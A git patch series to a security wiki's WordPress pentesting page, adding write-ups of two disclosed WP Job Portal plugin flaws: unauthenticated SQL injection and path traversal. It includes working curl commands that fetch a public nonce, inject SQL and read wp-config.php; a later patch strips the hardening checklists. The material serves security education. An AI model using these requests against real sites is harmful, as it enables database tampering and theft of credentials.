From 3ccc2ea6f25d88a61f0cc249e14454a95df679e8 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 12 Aug 2025 18:31:03 +0000 Subject: [PATCH 1/2] Add content from: Multiple Critical Vulnerabilities Patched in WP Job Portal P... --- .../pentesting-web/wordpress.md | 78 +++++++++++++++++++ src/welcome/hacktricks-values-and-faq.md | 3 +- 2 files changed, 79 insertions(+), 2 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 46219e9cc..8491d4b07 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -518,8 +518,86 @@ Also, **only install trustable WordPress plugins and themes**. - **Limit login attempts** to prevent Brute Force attacks - Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses. + +### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) + +The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`: + +```php +$category = WPJOBPORTALrequest::getVar('parentid'); +$inquery = ' '; +if ($category) { + $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ +} +$query = "SELECT max(ordering)+1 AS maxordering FROM " + . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later +``` + +Issues introduced by this snippet: + +1. **Unsanitised user input** – `parentid` comes straight from the HTTP request. +2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement. +3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`. + +#### Exploitation + +1. Grab a fresh nonce: + ```bash + curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 + ``` +2. Inject arbitrary SQL by abusing `parentid`: + ```bash + curl -X POST https://victim.com/wp-admin/admin-post.php \ + -d 'task=savecategory' \ + -d '_wpnonce=' \ + -d 'parentid=0 OR 1=1-- -' \ + -d 'cat_title=pwn' -d 'id=' + ``` + The response discloses the result of the injected query or alters the database, proving SQLi. + +#### Hardening checklist + +* Enforce **type validation** (`is_numeric()` for integers). +* Escape with **`esc_sql()`** or, even better, use **`$wpdb->prepare()`**. +* Treat *nonce-only* endpoints as **privileged** – add `current_user_can()` / `is_user_logged_in()` where appropriate. + +--- + +### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) + +Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`: + +```php +$file = $path . '/' . $file_name; +... +echo $wp_filesystem->get_contents($file); // raw file output +``` + +`$file_name` is attacker-controlled and concatenated **without sanitisation**. Again, the only gate is a **CSRF nonce** that can be fetched from the resume page. + +#### Exploitation + +```bash +curl -G https://victim.com/wp-admin/admin-post.php \ + --data-urlencode 'task=downloadcustomfile' \ + --data-urlencode '_wpnonce=' \ + --data-urlencode 'upload_for=resume' \ + --data-urlencode 'entity_id=1' \ + --data-urlencode 'file_name=../../../wp-config.php' +``` +The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. + +#### Hardening checklist + +* Sanitize filenames with helpers such as `sanitize_file_name()` or a custom `wpJP_clean_file_path()` that strips `../` & `./`. +* Make sure the **resolved path stays inside** the intended upload directory (`realpath()` + prefix check). +* Restrict the action to **authenticated roles** and validate the nonce. + +--- + ## References - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a5b53905c..dd6a54063 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con > [!TIP] > -> - **How can I cite a page of HackTricks?** +> - **How can I a page of HackTricks?** As long as the link **of** the page(s) where you took the information from appears it's enough.\ If you need a bibtex you can use something like: @@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the {{#include ../banners/hacktricks-training.md}} - From 3232db33216ca834b7f00c0a5ac6208808639279 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 13 Aug 2025 16:52:29 +0200 Subject: [PATCH 2/2] Update wordpress.md --- .../pentesting-web/wordpress.md | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 8491d4b07..04717c759 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -555,13 +555,6 @@ Issues introduced by this snippet: ``` The response discloses the result of the injected query or alters the database, proving SQLi. -#### Hardening checklist - -* Enforce **type validation** (`is_numeric()` for integers). -* Escape with **`esc_sql()`** or, even better, use **`$wpdb->prepare()`**. -* Treat *nonce-only* endpoints as **privileged** – add `current_user_can()` / `is_user_logged_in()` where appropriate. - ---- ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) @@ -587,14 +580,6 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. -#### Hardening checklist - -* Sanitize filenames with helpers such as `sanitize_file_name()` or a custom `wpJP_clean_file_path()` that strips `../` & `./`. -* Make sure the **resolved path stays inside** the intended upload directory (`realpath()` + prefix check). -* Restrict the action to **authenticated roles** and validate the nonce. - ---- - ## References - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)